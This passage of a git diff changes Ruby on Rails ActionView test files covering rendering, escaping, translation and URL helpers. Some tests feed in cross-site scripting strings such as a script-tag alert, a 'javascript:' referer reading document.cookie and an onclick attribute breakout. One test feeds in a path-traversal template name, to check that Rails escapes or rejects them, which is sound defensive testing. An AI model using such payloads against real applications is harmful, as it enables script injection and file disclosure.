actual.html_safe? + assert_equal("<, >, &, ', and "", actual) + + actual = to_sentence(%w(<script>)) + assert actual.html_safe? + assert_equal("<script>", actual) + end + + test "to_sentence does not double escape if single value is html_safe" do + assert_equal("<script>", to_sentence([ERB::Util.html_escape("<script>")])) + assert_equal("<script>", to_sentence(["<script>".html_safe])) + assert_equal("&lt;script&gt;", to_sentence(["<script>"])) + end + + test "to_sentence connector words are checked for html safety" do + assert_equal "one & two, and three", to_sentence(['one', 'two', 'three'], words_connector: ' & '.html_safe) + assert_equal "one & two", to_sentence(['one', 'two'], two_words_connector: ' & '.html_safe) + assert_equal "one, two <script>alert(1)</script> three", to_sentence(['one', 'two', 'three'], last_word_connector: ' <script>alert(1)</script> ') + end + + test "to_sentence should not escape html_safe values" do + ptag = content_tag("p") do + safe_join(["<marquee>shady stuff</marquee>", tag("br")]) + end + url = "https://example.com" + expected = %(<a href="#{url}">#{url}</a> and <p><marquee>shady stuff</marquee><br /></p>) + actual = to_sentence([link_to(url, url), ptag]) + assert actual.html_safe? + assert_equal(expected, actual) + end + + test "to_sentence handles blank strings" do + actual = to_sentence(['', 'two', 'three']) + assert actual.html_safe? + assert_equal ", two, and three", actual + end + + test "to_sentence handles nil values" do + actual = to_sentence([nil, 'two', 'three']) + assert actual.html_safe? + assert_equal ", two, and three", actual + end + + test "to_sentence still supports ActiveSupports Array#to_sentence arguments" do + assert_equal "one two, and three", to_sentence(['one', 'two', 'three'], words_connector: ' ') + assert_equal "one & two, and three", to_sentence(['one', 'two', 'three'], words_connector: ' & '.html_safe) + assert_equal "onetwo, and three", to_sentence(['one', 'two', 'three'], words_connector: nil) + assert_equal "one, two, and also three", to_sentence(['one', 'two', 'three'], last_word_connector: ', and also ') + assert_equal "one, twothree", to_sentence(['one', 'two', 'three'], last_word_connector: nil) + assert_equal "one, two three", to_sentence(['one', 'two', 'three'], last_word_connector: ' ') + assert_equal "one, two and three", to_sentence(['one', 'two', 'three'], last_word_connector: ' and ') + end end diff --git a/actionview/test/template/record_tag_helper_test.rb b/actionview/test/template/record_tag_helper_test.rb index 4b7b653916..bfc5d04bed 100644 --- a/actionview/test/template/record_tag_helper_test.rb +++ b/actionview/test/template/record_tag_helper_test.rb @@ -2,7 +2,7 @@ require 'abstract_unit' class RecordTagPost extend ActiveModel::Naming - include ActiveModel::Conversion + attr_accessor :id, :body def initialize @@ -14,7 +14,6 @@ class RecordTagPost end class RecordTagHelperTest < ActionView::TestCase - include RenderERBUtils tests ActionView::Helpers::RecordTagHelper diff --git a/actionview/test/template/render_test.rb b/actionview/test/template/render_test.rb index 22665b6844..ad93236d32 100644 --- a/actionview/test/template/render_test.rb +++ b/actionview/test/template/render_test.rb @@ -7,7 +7,14 @@ end module RenderTestCases def setup_view(paths) @assigns = { :secret => 'in the sauce' } - @view = ActionView::Base.new(paths, @assigns) + @view = Class.new(ActionView::Base) do + def view_cache_dependencies; end + + def fragment_cache_key(key) + ActiveSupport::Cache.expand_cache_key(key, :views) + end + end.new(paths, @assigns) + @controller_view = TestController.new.view_context # Reload and register danish language for testing @@ -64,7 +71,7 @@ module RenderTestCases e = assert_raise ActionView::Template::Error do @view.render(:template => "with_format", :formats => [:json]) end - assert_includes(e.message, "Missing partial /_missing with {:locale=>[:en], :formats=>[:json], :variants=>[], :handlers=>[:raw, :erb, :builder, :ruby]}.") + assert_includes(e.message, "Missing partial /_missing with {:locale=>[:en], :formats=>[:json], :variants=>[], :handlers=>[:raw, :erb, :html, :builder, :ruby]}.") end def test_render_file_with_locale @@ -141,6 +148,13 @@ module RenderTestCases assert_equal "only partial", @view.render("test/partial_only") end + def test_render_outside_path + assert File.exist?(File.join(File.dirname(__FILE__), '../../test/abstract_unit.rb')) + assert_raises ActionView::MissingTemplate do + @view.render(:template => "../\\../test/abstract_unit.rb") + end + end + def test_render_partial assert_equal "only partial", @view.render(:partial => "test/partial_only") end @@ -193,6 +207,10 @@ module RenderTestCases assert_nothing_raised { @view.render(:partial => "test/a-in") } end + def test_render_partial_with_unicode_text + assert_nothing_raised { @view.render(:partial => "test/ðŸ£") } + end + def test_render_partial_with_invalid_option_as e = assert_raises(ArgumentError) { @view.render(:partial => "test/partial_only", :as => 'a-in') } assert_equal "The value (a-in) of the option `as` is not a valid Ruby identifier; " + @@ -212,13 +230,13 @@ module RenderTestCases assert_match %r!method.*doesnt_exist!, e.message assert_equal "", e.sub_template_message assert_equal "1", e.line_number - assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip + assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code[0].strip assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name end def test_render_error_indentation e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise_indentation") } - error_lines = e.annoted_source_code.split("\n") + error_lines = e.annoted_source_code assert_match %r!error\shere!, e.message assert_equal "11", e.line_number assert_equal " 9: <p>Ninth paragraph</p>", error_lines.second @@ -238,12 +256,14 @@ module RenderTestCases assert_match %r!method.*doesnt_exist!, e.message assert_equal "", e.sub_template_message assert_equal "1", e.line_number - assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip + assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code[0].strip assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name end def test_render_object assert_equal "Hello: david", @view.render(:partial => "test/customer", :object => Customer.new("david")) + assert_equal "FalseClass", @view.render(:partial => "test/klass", :object => false) + assert_equal "NilClass", @view.render(:partial => "test/klass", :object => nil) end def test_render_object_with_array @@ -254,6 +274,11 @@ module RenderTestCases assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ]) end + def test_render_partial_collection_with_partial_name_containing_dot + assert_equal "Hello: davidHello: mary", + @view.render(:partial => "test/customer.mobile", :collection => [ Customer.new("david"), Customer.new("mary") ]) + end + def test_render_partial_collection_as_by_string assert_equal "david david davidmary mary mary", @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => 'customer') @@ -277,6 +302,14 @@ module RenderTestCases assert_nil @view.render(:partial => "test/customer", :collection => nil) end + def test_render_partial_without_object_does_not_put_partial_name_to_local_assigns + assert_equal 'false', @view.render(partial: 'test/partial_name_in_local_assigns') + end + + def test_render_partial_with_nil_object_puts_partial_name_to_local_assigns + assert_equal 'true', @view.render(partial: 'test/partial_name_in_local_assigns', object: nil) + end + def test_render_partial_with_nil_values_in_collection assert_equal "Hello: davidHello: Anonymous", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), nil ]) end @@ -341,8 +374,8 @@ module RenderTestCases exception = assert_raises ActionView::Template::Error do @controller_view.render("partial_name_local_variable") end - assert_instance_of NameError, exception.original_exception - assert_equal :partial_name_local_variable, exception.original_exception.name + assert_instance_of NameError, exception.cause + assert_equal :partial_name_local_variable, exception.cause.name end # TODO: The reason for this test is unclear, improve documentation @@ -450,6 +483,11 @@ module RenderTestCases @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside") end + def test_render_partial_with_html_only_extension + assert_equal %(<h1>partial html</h1>\nHello world!\n), + @view.render(:file => "test/hello_world", :layout => "layouts/render_partial_html") + end + def test_render_layout_with_block_and_yield assert_equal %(Content from block!\n), @view.render(:layout => "layouts/yield_only") { "Content from block!" } @@ -579,14 +617,14 @@ class LazyViewRenderTest < ActiveSupport::TestCase def test_render_utf8_template_with_incompatible_external_encoding with_external_encoding Encoding::SHIFT_JIS do e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield") } - assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message + assert_match 'Your template was not saved as valid Shift_JIS', e.cause.message end end def test_render_utf8_template_with_partial_with_incompatible_encoding with_external_encoding Encoding::SHIFT_JIS do e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8_magic_with_bare_partial", :formats => [:html], :layouts => "layouts/yield") } - assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message + assert_match 'Your template was not saved as valid Shift_JIS', e.cause.message end end @@ -599,40 +637,59 @@ class LazyViewRenderTest < ActiveSupport::TestCase end end -class CachedCollectionViewRenderTest < CachedViewRenderTest +class CachedCollectionViewRenderTest < ActiveSupport::TestCase class CachedCustomer < Customer; end + include RenderTestCases + + # Ensure view path cache is primed + setup do + view_paths = ActionController::Base.view_paths + assert_equal ActionView::OptimizedFileSystemResolver, view_paths.first.class + + ActionView::PartialRenderer.collection_cache = ActiveSupport::Cache::MemoryStore.new + + setup_view(view_paths) + end + teardown do - ActionView::PartialRenderer.collection_cache.clear + GC.start + I18n.reload! end - test "with custom key" do - customer = Customer.new("david") - key = ActionController::Base.new.fragment_cache_key([customer, 'key']) + test "collection caching does not cache by default" do + customer = Customer.new("david", 1) + key = cache_key(customer, "test/_customer") - ActionView::PartialRenderer.collection_cache.write(key, 'Hello') + ActionView::PartialRenderer.collection_cache.write(key, 'Cached') - assert_equal "Hello", - @view.render(partial: "test/customer", collection: [customer], cache: ->(item) { [item, 'key'] }) + assert_not_equal "Cached", + @view.render(partial: "test/customer", collection: [customer]) end - test "automatic caching with inferred cache name" do - customer = CachedCustomer.new("david") - key = ActionController::Base.new.fragment_cache_key(customer) + test "collection caching with partial that doesn't use fragment caching" do + customer = Customer.new("david", 1) + key = cache_key(customer, "test/_customer") ActionView::PartialRenderer.collection_cache.write(key, 'Cached') assert_equal "Cached", - @view.render(partial: "test/cached_customer", collection: [customer]) + @view.render(partial: "test/customer", collection: [customer], cached: true) end - test "automatic caching with as name" do - customer = CachedCustomer.new("david") - key = ActionController::Base.new.fragment_cache_key(customer) + test "collection caching with cached true" do + customer = CachedCustomer.new("david", 1) + key = cache_key(customer, "test/_cached_customer") ActionView::PartialRenderer.collection_cache.write(key, 'Cached') assert_equal "Cached", - @view.render(partial: "test/cached_customer_as", collection: [customer], as: :buyer) + @view.render(partial: "test/cached_customer", collection: [customer], cached: true) end + + private + def cache_key(*names, virtual_path) + digest = ActionView::Digestor.digest name: virtual_path, finder: @view.lookup_context, dependencies: [] + @view.fragment_cache_key([ *names, digest ]) + end end diff --git a/actionview/test/template/resolver_cache_test.rb b/actionview/test/template/resolver_cache_test.rb new file mode 100644 index 0000000000..1081c13db0 --- /dev/null +++ b/actionview/test/template/resolver_cache_test.rb @@ -0,0 +1,7 @@ +require 'abstract_unit' + +class ResolverCacheTest < ActiveSupport::TestCase + def test_inspect_shields_cache_internals + assert_match %r(#<ActionView::Resolver:0x[0-9a-f]+ @cache=#<ActionView::Resolver::Cache:0x[0-9a-f]+ keys=0 queries=0>>), ActionView::Resolver.new.inspect + end +end diff --git a/actionview/test/template/resolver_patterns_test.rb b/actionview/test/template/resolver_patterns_test.rb index 575eb9bd28..1a091bd692 100644 --- a/actionview/test/template/resolver_patterns_test.rb +++ b/actionview/test/template/resolver_patterns_test.rb @@ -3,17 +3,17 @@ require 'abstract_unit' class ResolverPatternsTest < ActiveSupport::TestCase def setup path = File.expand_path("../../fixtures/", __FILE__) - pattern = ":prefix/{:formats/,}:action{.:formats,}{.:handlers,}" + pattern = ":prefix/{:formats/,}:action{.:formats,}{+:variants,}{.:handlers,}" @resolver = ActionView::FileSystemResolver.new(path, pattern) end def test_should_return_empty_list_for_unknown_path - templates = @resolver.find_all("unknown", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]}) + templates = @resolver.find_all("unknown", "custom_pattern", false, {locale: [], formats: [:html], variants: [], handlers: [:erb]}) assert_equal [], templates, "expected an empty list of templates" end def test_should_return_template_for_declared_path - templates = @resolver.find_all("path", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]}) + templates = @resolver.find_all("path", "custom_pattern", false, {locale: [], formats: [:html], variants: [], handlers: [:erb]}) assert_equal 1, templates.size, "expected one template" assert_equal "Hello custom patterns!", templates.first.source assert_equal "custom_pattern/path", templates.first.virtual_path @@ -21,11 +21,22 @@ class ResolverPatternsTest < ActiveSupport::TestCase end def test_should_return_all_templates_when_ambiguous_pattern - templates = @resolver.find_all("another", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]}) + templates = @resolver.find_all("another", "custom_pattern", false, {locale: [], formats: [:html], variants: [], handlers: [:erb]}) assert_equal 2, templates.size, "expected two templates" assert_equal "Another template!", templates[0].source assert_equal "custom_pattern/another", templates[0].virtual_path assert_equal "Hello custom patterns!", templates[1].source assert_equal "custom_pattern/another", templates[1].virtual_path end + + def test_should_return_all_variants_for_any + templates = @resolver.find_all("hello_world", "test", false, {locale: [], formats: [:html, :text], variants: :any, handlers: [:erb]}) + assert_equal 3, templates.size, "expected three templates" + assert_equal "Hello phone!", templates[0].source + assert_equal "test/hello_world", templates[0].virtual_path + assert_equal "Hello texty phone!", templates[1].source + assert_equal "test/hello_world", templates[1].virtual_path + assert_equal "Hello world!", templates[2].source + assert_equal "test/hello_world", templates[2].virtual_path + end end diff --git a/actionview/test/template/tag_helper_test.rb b/actionview/test/template/tag_helper_test.rb index d037447567..f3956a31f6 100644 --- a/actionview/test/template/tag_helper_test.rb +++ b/actionview/test/template/tag_helper_test.rb @@ -143,10 +143,10 @@ class TagHelperTest < ActionView::TestCase end def test_tag_honors_html_safe_with_escaped_array_class - str = tag('p', :class => ['song>', 'play>'.html_safe]) + str = tag('p', :class => ['song>', raw('play>')]) assert_equal '<p class="song> play>" />', str - str = tag('p', :class => ['song>'.html_safe, 'play>']) + str = tag('p', :class => [raw('song>'), 'play>']) assert_equal '<p class="song> play>" />', str end @@ -173,4 +173,10 @@ class TagHelperTest < ActionView::TestCase tag('a', { aria => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: 'hello', symbol: :foo, array: [1, 2, 3], hash: { key: 'value'}, string_with_quotes: 'double"quote"party"' } }) } end + + def test_link_to_data_nil_equal + div_type1 = content_tag(:div, 'test', { 'data-tooltip' => nil }) + div_type2 = content_tag(:div, 'test', { data: {tooltip: nil} }) + assert_dom_equal div_type1, div_type2 + end end diff --git a/actionview/test/template/template_error_test.rb b/actionview/test/template/template_error_test.rb index 3971ec809c..54c1d53b60 100644 --- a/actionview/test/template/template_error_test.rb +++ b/actionview/test/template/template_error_test.rb @@ -2,19 +2,34 @@ require "abstract_unit" class TemplateErrorTest < ActiveSupport::TestCase def test_provides_original_message - error = ActionView::Template::Error.new("test", Exception.new("original")) + error = begin + raise Exception.new("original") + rescue Exception + raise ActionView::Template::Error.new("test") rescue $! + end + assert_equal "original", error.message end def test_provides_original_backtrace - original_exception = Exception.new - original_exception.set_backtrace(%W[ foo bar baz ]) - error = ActionView::Template::Error.new("test", original_exception) + error = begin + original_exception = Exception.new + original_exception.set_backtrace(%W[ foo bar baz ]) + raise original_exception + rescue Exception + raise ActionView::Template::Error.new("test") rescue $! + end + assert_equal %W[ foo bar baz ], error.backtrace end def test_provides_useful_inspect - error = ActionView::Template::Error.new("test", Exception.new("original")) + error = begin + raise Exception.new("original") + rescue Exception + raise ActionView::Template::Error.new("test") rescue $! + end + assert_equal "#<ActionView::Template::Error: original>", error.inspect end end diff --git a/actionview/test/template/template_test.rb b/actionview/test/template/template_test.rb index aae6a9aa09..533c1c3219 100644 --- a/actionview/test/template/template_test.rb +++ b/actionview/test/template/template_test.rb @@ -118,15 +118,17 @@ class TestERBTemplate < ActiveSupport::TestCase def test_refresh_with_templates @template = new_template("Hello", :virtual_path => "test/foo/bar") @template.locals = [:key] - @context.lookup_context.expects(:find_template).with("bar", %w(test/foo), false, [:key]).returns("template") - assert_equal "template", @template.refresh(@context) + assert_called_with(@context.lookup_context, :find_template,["bar", %w(test/foo), false, [:key]], returns: "template") do + assert_equal "template", @template.refresh(@context) + end end def test_refresh_with_partials @template = new_template("Hello", :virtual_path => "test/_foo") @template.locals = [:key] - @context.lookup_context.expects(:find_template).with("foo", %w(test), true, [:key]).returns("partial") - assert_equal "partial", @template.refresh(@context) + assert_called_with(@context.lookup_context, :find_template,[ "foo", %w(test), true, [:key]], returns: "partial") do + assert_equal "partial", @template.refresh(@context) + end end def test_refresh_raises_an_error_without_virtual_path diff --git a/actionview/test/template/test_case_test.rb b/actionview/test/template/test_case_test.rb index c6cc47fb4f..d69d5819b6 100644 --- a/actionview/test/template/test_case_test.rb +++ b/actionview/test/template/test_case_test.rb @@ -20,6 +20,7 @@ module ActionView class TestCase helper ASharedTestHelper + DeveloperStruct = Struct.new(:name) module SharedTests def self.included(test_case) @@ -41,6 +42,10 @@ module ActionView assert_same view, view end + test "exposes params" do + assert params.is_a? ActionController::Parameters + end + test "exposes view as _view for backwards compatibility" do assert_same _view, view end @@ -50,7 +55,7 @@ module ActionView end test "works without testing a helper module" do - assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy')) + assert_equal 'Eloy', render('developers/developer', :developer => DeveloperStruct.new('Eloy')) end test "can render a layout with block" do @@ -69,13 +74,15 @@ module ActionView end test "delegates notice to request.flash[:notice]" do - view.request.flash.expects(:[]).with(:notice) - view.notice + assert_called_with(view.request.flash, :[], [:notice]) do + view.notice + end end test "delegates alert to request.flash[:alert]" do - view.request.flash.expects(:[]).with(:alert) - view.alert + assert_called_with(view.request.flash, :[], [:alert]) do + view.alert + end end test "uses controller lookup context" do @@ -119,7 +126,7 @@ module ActionView test "helper class that is being tested is always included in view instance" do @controller.controller_path = 'test' - @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')] + @customers = [DeveloperStruct.new('Eloy'), DeveloperStruct.new('Manfred')] assert_match(/Hello: EloyHello: Manfred/, render(:partial => 'test/from_helper')) end end @@ -209,7 +216,7 @@ module ActionView end test "is able to use routes" do - controller.request.assign_parameters(@routes, 'foo', 'index') + controller.request.assign_parameters(@routes, 'foo', 'index', {}, '/foo', []) assert_equal '/foo', url_for assert_equal '/bar', url_for(:controller => 'bar') end @@ -255,15 +262,15 @@ module ActionView end test "is able to render partials with local variables" do - assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy')) + assert_equal 'Eloy', render('developers/developer', :developer => DeveloperStruct.new('Eloy')) assert_equal 'Eloy', render(:partial => 'developers/developer', - :locals => { :developer => stub(:name => 'Eloy') }) + :locals => { :developer => DeveloperStruct.new('Eloy') }) end test "is able to render partials from templates and also use instance variables" do @controller.controller_path = "test" - @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')] + @customers = [DeveloperStruct.new('Eloy'), DeveloperStruct.new('Manfred')] assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list')) end @@ -272,7 +279,7 @@ module ActionView view - @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')] + @customers = [DeveloperStruct.new('Eloy'), DeveloperStruct.new('Manfred')] assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list')) end @@ -306,64 +313,6 @@ module ActionView end end - class RenderTemplateTest < ActionView::TestCase - test "supports specifying templates with a Regexp" do - controller.controller_path = "fun" - render(:template => "fun/games/hello_world") - assert_template %r{\Afun/games/hello_world\Z} - end - - test "supports specifying partials" do - controller.controller_path = "test" - render(:template => "test/calling_partial_with_layout") - assert_template :partial => "_partial_for_use_in_layout" - end - - test "supports specifying locals (passing)" do - controller.controller_path = "test" - render(:template => "test/calling_partial_with_layout") - assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "David" } - end - - test "supports specifying locals (failing)" do - controller.controller_path = "test" - render(:template => "test/calling_partial_with_layout") - e = assert_raise ActiveSupport::TestCase::Assertion do - assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "Somebody Else" } - end - assert_match(/Somebody Else.*David/m, e.message) - end - - test 'supports different locals on the same partial' do - controller.controller_path = "test" - render(:template => "test/render_two_partials") - assert_template partial: '_partial', locals: { 'first' => '1' } - assert_template partial: '_partial', locals: { 'second' => '2' } - end - - test 'raises descriptive error message when template was not rendered' do - controller.controller_path = "test" - render(template: "test/hello_world_with_partial") - e = assert_raise ActiveSupport::TestCase::Assertion do - assert_template partial: 'i_was_never_rendered', locals: { 'did_not' => 'happen' } - end - assert_match "i_was_never_rendered to be rendered but it was not.", e.message - assert_match 'Expected ["/test/partial"] to include "i_was_never_rendered"', e.message - end - - test 'specifying locals works when the partial is inside a directory with underline prefix' do - controller.controller_path = "test" - render(template: 'test/render_partial_inside_directory') - assert_template partial: 'test/_directory/_partial_with_locales', locals: { 'name' => 'Jane' } - end - - test 'specifying locals works when the partial is inside a directory without underline prefix' do - controller.controller_path = "test" - render(template: 'test/render_partial_inside_directory') - assert_template partial: 'test/_directory/partial_with_locales', locals: { 'name' => 'Jane' } - end - end - module AHelperWithInitialize def initialize(*) super diff --git a/actionview/test/template/test_test.rb b/actionview/test/template/test_test.rb index 88bac85039..e1ff639979 100644 --- a/actionview/test/template/test_test.rb +++ b/actionview/test/template/test_test.rb @@ -41,12 +41,12 @@ class PeopleHelperTest < ActionView::TestCase extend ActiveModel::Naming def to_model; self; end def persisted?; true; end - def self.name; 'Mocha::Mock'; end + def self.name; 'Minitest::Mock'; end }.new "David" the_model = nil extend Module.new { - define_method(:mocha_mock_path) { |model, *args| + define_method(:minitest_mock_path) { |model, *args| the_model = model "/people/1" } diff --git a/actionview/test/template/text_helper_test.rb b/actionview/test/template/text_helper_test.rb index f1b84c4786..03c7597505 100644 --- a/actionview/test/template/text_helper_test.rb +++ b/actionview/test/template/text_helper_test.rb @@ -43,11 +43,11 @@ class TextHelperTest < ActionView::TestCase end def test_simple_format_should_sanitize_input_when_sanitize_option_is_not_false - assert_equal "<p><b> test with unsafe string </b></p>", simple_format("<b> test with unsafe string </b><script>code!</script>") + assert_equal "<p><b> test with unsafe string </b>code!</p>", simple_format("<b> test with unsafe string </b><script>code!</script>") end def test_simple_format_should_sanitize_input_when_sanitize_option_is_true - assert_equal '<p><b> test with unsafe string </b></p>', + assert_equal '<p><b> test with unsafe string </b>code!</p>', simple_format('<b> test with unsafe string </b><script>code!</script>', {}, sanitize: true) end @@ -198,7 +198,7 @@ class TextHelperTest < ActionView::TestCase def test_highlight_should_sanitize_input assert_equal( - "This is a <mark>beautiful</mark> morning", + "This is a <mark>beautiful</mark> morningcode!", highlight("This is a beautiful morning<script>code!</script>", "beautiful") ) end @@ -366,6 +366,10 @@ class TextHelperTest < ActionView::TestCase assert_equal options, passed_options end + def test_word_wrap_with_custom_break_sequence + assert_equal("1234567890\r\n1234567890\r\n1234567890", word_wrap("1234567890 " * 3, line_width: 2, break_sequence: "\r\n")) + end + def test_pluralization assert_equal("1 count", pluralize(1, "count")) assert_equal("2 counts", pluralize(2, "count")) @@ -375,14 +379,38 @@ class TextHelperTest < ActionView::TestCase assert_equal("1.25 counts", pluralize('1.25', "count")) assert_equal("1.0 count", pluralize('1.0', "count")) assert_equal("1.00 count", pluralize('1.00', "count")) - assert_equal("2 counters", pluralize(2, "count", "counters")) - assert_equal("0 counters", pluralize(nil, "count", "counters")) + assert_equal("2 counters", pluralize(2, "count", plural: "counters")) + assert_equal("0 counters", pluralize(nil, "count", plural: "counters")) assert_equal("2 people", pluralize(2, "person")) assert_equal("10 buffaloes", pluralize(10, "buffalo")) assert_equal("1 berry", pluralize(1, "berry")) assert_equal("12 berries", pluralize(12, "berry")) end + def test_localized_pluralization + old_locale = I18n.locale + + begin + I18n.locale = :de + + ActiveSupport::Inflector.inflections(:de) do |inflect| + inflect.irregular 'region', 'regionen' + end + + assert_equal("1 region", pluralize(1, "region")) + assert_equal("2 regionen", pluralize(2, "region")) + assert_equal("2 regions", pluralize(2, "region", locale: :en)) + ensure + I18n.locale = old_locale + end + end + + def test_deprecated_plural_as_positional_argument + assert_deprecated do + pluralize(2, 'count', 'counters') + end + end + def test_cycle_class value = Cycle.new("one", 2, "3") assert_equal("one", value.to_s) diff --git a/actionview/test/template/translation_helper_test.rb b/actionview/test/template/translation_helper_test.rb index ef4d13efa7..38b9284767 100644 --- a/actionview/test/template/translation_helper_test.rb +++ b/actionview/test/template/translation_helper_test.rb @@ -41,15 +41,27 @@ class TranslationHelperTest < ActiveSupport::TestCase I18n.backend.reload! end - def test_delegates_to_i18n_setting_the_rescue_format_option_to_html - I18n.expects(:translate).with(:foo, :locale => 'en', :raise=>true).returns("") - translate :foo, :locale => 'en' + def test_delegates_setting_to_i18n + assert_called_with(I18n, :translate, [:foo, :locale => 'en', :raise => true], returns: "") do + translate :foo, :locale => 'en' + end end def test_delegates_localize_to_i18n @time = Time.utc(2008, 7, 8, 12, 18, 38) - I18n.expects(:localize).with(@time) - localize @time + assert_called_with(I18n, :localize, [@time]) do + localize @time + end + end + + def test_returns_missing_translation_message_without_span_wrap + old_value = ActionView::Base.debug_missing_translation + ActionView::Base.debug_missing_translation = false + + expected = 'translation missing: en.translations.missing' + assert_equal expected, translate(:"translations.missing") + ensure + ActionView::Base.debug_missing_translation = old_value end def test_returns_missing_translation_message_wrapped_into_span @@ -58,10 +70,18 @@ class TranslationHelperTest < ActiveSupport::TestCase assert_equal true, translate(:"translations.missing").html_safe? end - def test_returns_missing_translation_message_using_nil_as_rescue_format - expected = 'translation missing: en.translations.missing' - assert_equal expected, translate(:"translations.missing", :rescue_format => nil) - assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe? + def test_returns_missing_translation_message_with_unescaped_interpolation + expected = '<span class="translation_missing" title="translation missing: en.translations.missing, name: Kir, year: 2015, vulnerable: &quot; onclick=&quot;alert()&quot;">Missing</span>' + assert_equal expected, translate(:"translations.missing", name: "Kir", year: "2015", vulnerable: %{" onclick="alert()"}) + assert translate(:"translations.missing").html_safe? + end + + def test_returns_missing_translation_message_does_filters_out_i18n_options + expected = '<span class="translation_missing" title="translation missing: en.translations.missing, year: 2015">Missing</span>' + assert_equal expected, translate(:"translations.missing", year: '2015', default: []) + + expected = '<span class="translation_missing" title="translation missing: en.scoped.translations.missing, year: 2015">Missing</span>' + assert_equal expected, translate(:"translations.missing", year: '2015', scope: %i(scoped)) end def test_raises_missing_translation_message_with_raise_config_option @@ -96,12 +116,6 @@ class TranslationHelperTest < ActiveSupport::TestCase I18n.exception_handler = old_exception_handler end - def test_i18n_translate_defaults_to_nil_rescue_format - expected = 'translation missing: en.translations.missing' - assert_equal expected, I18n.translate(:"translations.missing") - assert_equal false, I18n.translate(:"translations.missing").html_safe? - end - def test_translation_returning_an_array expected = %w(foo bar) assert_equal expected, translate(:"translations.array") @@ -137,8 +151,9 @@ class TranslationHelperTest < ActiveSupport::TestCase end def test_translate_escapes_interpolations_in_translations_with_a_html_suffix + word_struct = Struct.new(:to_s) assert_equal '<a>Hello <World></a>', translate(:'translations.interpolated_html', :word => '<World>') - assert_equal '<a>Hello <World></a>', translate(:'translations.interpolated_html', :word => stub(:to_s => "<World>")) + assert_equal '<a>Hello <World></a>', translate(:'translations.interpolated_html', :word => word_struct.new("<World>")) end def test_translate_with_html_count @@ -157,6 +172,19 @@ class TranslationHelperTest < ActiveSupport::TestCase assert_equal true, translation.html_safe? end + def test_translate_with_missing_default + translation = translate(:'translations.missing', :default => :'translations.missing_html') + expected = '<span class="translation_missing" title="translation missing: en.translations.missing_html">Missing Html</span>' + assert_equal expected, translation + assert_equal true, translation.html_safe? + end + + def test_translate_with_missing_default_and_raise_option + assert_raise(I18n::MissingTranslationData) do + translate(:'translations.missing', :default => :'translations.missing_html', :raise => true) + end + end + def test_translate_with_two_defaults_named_html translation = translate(:'translations.missing', :default => [:'translations.missing_html', :'translations.hello_html']) assert_equal '<a>Hello World</a>', translation @@ -190,6 +218,16 @@ class TranslationHelperTest < ActiveSupport::TestCase assert_equal 'A Generic String', translation end + def test_translate_with_array_of_defaults_with_nil + translation = translate(:'translations.missing', default: [:'also_missing', nil, 'A Generic String']) + assert_equal 'A Generic String', translation + end + + def test_translate_with_array_of_array_default + translation = translate(:'translations.missing', default: [[]]) + assert_equal [], translation + end + def test_translate_does_not_change_options options = {} translate(:'translations.missing', options) diff --git a/actionview/test/template/url_helper_test.rb b/actionview/test/template/url_helper_test.rb index ef4df0407a..ab56d80de3 100644 --- a/actionview/test/template/url_helper_test.rb +++ b/actionview/test/template/url_helper_test.rb @@ -1,5 +1,4 @@ require 'abstract_unit' -require 'minitest/mock' class UrlHelperTest < ActiveSupport::TestCase @@ -39,6 +38,10 @@ class UrlHelperTest < ActiveSupport::TestCase assert_equal "/?a=b&c=d", url_for(hash_for(a: :b, c: :d)) end + def test_url_for_does_not_include_empty_hashes + assert_equal "/", url_for(hash_for(a: {})) + end + def test_url_for_with_back referer = 'http://www.example.com/referer' @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer)) @@ -51,6 +54,51 @@ class UrlHelperTest < ActiveSupport::TestCase assert_equal 'javascript:history.back()', url_for(:back) end + def test_url_for_with_back_and_no_controller + @controller = nil + assert_equal 'javascript:history.back()', url_for(:back) + end + + def test_url_for_with_back_and_javascript_referer + referer = 'javascript:alert(document.cookie)' + @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer)) + assert_equal 'javascript:history.back()', url_for(:back) + end + + def test_url_for_with_invalid_referer + referer = 'THIS IS NOT A URL' + @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer)) + assert_equal 'javascript:history.back()', url_for(:back) + end + + def test_to_form_params_with_hash + assert_equal( + [{ name: :name, value: 'David' }, { name: :nationality, value: 'Danish' }], + to_form_params(name: 'David', nationality: 'Danish') + ) + end + + def test_to_form_params_with_nested_hash + assert_equal( + [{ name: 'country[name]', value: 'Denmark' }], + to_form_params(country: { name: 'Denmark' }) + ) + end + + def test_to_form_params_with_array_nested_in_hash + assert_equal( + [{ name: 'countries[]', value: 'Denmark' }, { name: 'countries[]', value: 